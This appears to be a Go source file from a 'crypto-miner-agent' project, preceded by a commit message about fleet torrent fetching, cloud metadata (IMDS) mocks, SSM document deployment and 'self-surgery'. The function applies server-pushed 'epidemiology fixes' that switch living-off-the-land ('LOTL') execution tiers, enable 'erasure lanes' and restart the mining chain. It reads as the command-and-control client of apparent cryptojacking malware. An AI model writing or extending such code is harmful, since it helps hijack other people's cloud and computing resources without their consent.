Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
63 lines
1.5 KiB
Go
63 lines
1.5 KiB
Go
package client
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"log"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
// EpidemiologyFix is a server-pushed surgical correction after a broken mining branch.
|
|
type EpidemiologyFix struct {
|
|
AgentID string `json:"agent_id"`
|
|
Reason string `json:"reason"`
|
|
SkipTiers []string `json:"skip_tiers,omitempty"`
|
|
ForceTier string `json:"force_tier,omitempty"`
|
|
RestartChain bool `json:"restart_chain,omitempty"`
|
|
ErasureLanes bool `json:"erasure_lanes,omitempty"`
|
|
}
|
|
|
|
func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var fix EpidemiologyFix
|
|
if err := json.Unmarshal(raw, &fix); err != nil {
|
|
return
|
|
}
|
|
if fix.AgentID != "" && fix.AgentID != c.agentID {
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
policy := c.tierPolicy
|
|
if len(fix.SkipTiers) > 0 {
|
|
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
|
|
for _, t := range policy.SkipTiers {
|
|
have[t] = true
|
|
}
|
|
for _, s := range fix.SkipTiers {
|
|
tier := miner.LOTLTier(s)
|
|
if tier == "" || have[tier] {
|
|
continue
|
|
}
|
|
have[tier] = true
|
|
policy.SkipTiers = append(policy.SkipTiers, tier)
|
|
}
|
|
}
|
|
if fix.ForceTier != "" {
|
|
policy.ForceTier = miner.LOTLTier(fix.ForceTier)
|
|
}
|
|
c.tierPolicy = policy
|
|
if fix.ErasureLanes {
|
|
c.cfg.ErasureLanesEnabled = true
|
|
}
|
|
restart := fix.RestartChain
|
|
c.mu.Unlock()
|
|
|
|
log.Printf("[agent] epidemiology fix applied: %s", fix.Reason)
|
|
if restart && c.miningChain != nil {
|
|
c.miningChain.Restart(context.Background())
|
|
}
|
|
}
|